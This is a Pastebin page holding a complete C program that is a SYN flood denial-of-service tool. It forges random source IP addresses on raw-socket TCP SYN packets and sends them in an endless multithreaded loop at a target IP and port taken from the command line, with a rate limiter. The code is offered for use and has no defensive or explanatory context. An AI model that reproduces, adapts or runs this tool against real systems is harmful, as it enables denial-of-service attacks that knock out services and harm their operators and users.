Advertisement
xttpx

xsyn

Jul 10th, 2017
12,393
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.96 KB | None | 0 0
  1. #include <pthread.h>
  2. #include <unistd.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <sys/socket.h>
  7. #include <netinet/ip.h>
  8. #include <netinet/tcp.h>
  9. #include <time.h>
  10. #define MAX_PACKET_SIZE 4096
  11. #define PHI 0x9e3779b9
  12. static unsigned long int Q[4096], c = 362436;
  13. static unsigned int floodport;
  14. volatile int limiter;
  15. volatile unsigned int pps;
  16. volatile unsigned int sleeptime = 100;
  17. void init_rand(unsigned long int x)
  18. {
  19. int i;
  20. Q[0] = x;
  21. Q[1] = x + PHI;
  22. Q[2] = x + PHI + PHI;
  23. for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  24. }
  25. unsigned long int rand_cmwc(void)
  26. {
  27. unsigned long long int t, a = 18782LL;
  28. static unsigned long int i = 4095;
  29. unsigned long int x, r = 0xfffffffe;
  30. i = (i + 1) & 4095;
  31. t = a * Q[i] + c;
  32. c = (t >> 32);
  33. x = t + c;
  34. if (x < c) {
  35. x++;
  36. c++;
  37. }
  38. return (Q[i] = r - x);
  39. }
  40. unsigned short csum (unsigned short *buf, int count)
  41. {
  42. register unsigned long sum = 0;
  43. while( count > 1 ) { sum += *buf++; count -= 2; }
  44. if(count > 0) { sum += *(unsigned char *)buf; }
  45. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  46. return (unsigned short)(~sum);
  47. }
  48. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  49. struct tcp_pseudo
  50. {
  51. unsigned long src_addr;
  52. unsigned long dst_addr;
  53. unsigned char zero;
  54. unsigned char proto;
  55. unsigned short length;
  56. } pseudohead;
  57. unsigned short total_len = iph->tot_len;
  58. pseudohead.src_addr=iph->saddr;
  59. pseudohead.dst_addr=iph->daddr;
  60. pseudohead.zero=0;
  61. pseudohead.proto=IPPROTO_TCP;
  62. pseudohead.length=htons(sizeof(struct tcphdr));
  63. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  64. unsigned short *tcp = malloc(totaltcp_len);
  65. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  66. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  67. unsigned short output = csum(tcp,totaltcp_len);
  68. free(tcp);
  69. return output;
  70. }
  71. void setup_ip_header(struct iphdr *iph)
  72. {
  73. char ip[17];
  74. snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
  75. iph->ihl = 5;
  76. iph->version = 4;
  77. iph->tos = 0;
  78. iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  79. iph->id = htonl(rand()%54321);
  80. iph->frag_off = 0;
  81. iph->ttl = MAXTTL;
  82. iph->protocol = 6;
  83. iph->check = 0;
  84. iph->saddr = inet_addr(ip);
  85. }
  86. void setup_tcp_header(struct tcphdr *tcph)
  87. {
  88. tcph->source = htons(rand()%65535);
  89. tcph->seq = rand();
  90. tcph->ack_seq = 0;
  91. tcph->res2 = 3;
  92. tcph->doff = 5;
  93. tcph->syn = 1;
  94. tcph->window = rand();
  95. tcph->check = 0;
  96. tcph->urg_ptr = 0;
  97. }
  98. void *flood(void *par1)
  99. {
  100. char *td = (char *)par1;
  101. char datagram[MAX_PACKET_SIZE];
  102. struct iphdr *iph = (struct iphdr *)datagram;
  103. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  104. struct sockaddr_in sin;
  105. sin.sin_family = AF_INET;
  106. sin.sin_port = htons(floodport);
  107. sin.sin_addr.s_addr = inet_addr(td);
  108. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  109. if(s < 0){
  110. fprintf(stderr, "Could not open raw socket.\n");
  111. exit(-1);
  112. }
  113. memset(datagram, 0, MAX_PACKET_SIZE);
  114. setup_ip_header(iph);
  115. setup_tcp_header(tcph);
  116. tcph->dest = htons(floodport);
  117. iph->daddr = sin.sin_addr.s_addr;
  118. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  119. int tmp = 1;
  120. const int *val = &tmp;
  121. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  122. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  123. exit(-1);
  124. }
  125. init_rand(time(NULL));
  126. register unsigned int i;
  127. i = 0;
  128. while(1){
  129. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  130. setup_ip_header(iph);
  131. setup_tcp_header(tcph);
  132. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  133. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  134. tcph->dest = htons(floodport);
  135. iph->daddr = sin.sin_addr.s_addr;
  136. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  137. tcph->seq = rand_cmwc() & 0xFFFF;
  138. tcph->source = htons(rand_cmwc() & 0xFFFF);
  139. tcph->check = 0;
  140. tcph->check = tcpcsum(iph, tcph);
  141. pps++;
  142. if(i >= limiter)
  143. {
  144. i = 0;
  145. usleep(sleeptime);
  146. }
  147. i++;
  148. }
  149. }
  150. int main(int argc, char *argv[ ])
  151. {
  152. if(argc < 6){
  153. fprintf(stderr, "Invalid parameters!\n");
  154. fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  155. exit(-1);
  156. }
  157. srand(time(0));
  158. fprintf(stdout, "Tank: So what do you need? Besides a miracle.\nNeo: Packets. Lots of packets.\n");
  159. int num_threads = atoi(argv[3]);
  160. floodport = atoi(argv[2]);
  161. int maxpps = atoi(argv[4]);
  162. limiter = 0;
  163. pps = 0;
  164. pthread_t thread[num_threads];
  165. int multiplier = 20;
  166. int i;
  167. for(i = 0;i<num_threads;i++){
  168. pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  169. }
  170. for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  171. {
  172. usleep((1000/multiplier)*1000);
  173. if((pps*multiplier) > maxpps)
  174. {
  175. if(1 > limiter)
  176. {
  177. sleeptime+=100;
  178. } else {
  179. limiter--;
  180. }
  181. } else {
  182. limiter++;
  183. if(sleeptime > 25)
  184. {
  185. sleeptime-=25;
  186. } else {
  187. sleeptime = 0;
  188. }
  189. }
  190. pps = 0;
  191. }
  192. return 0;
  193. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement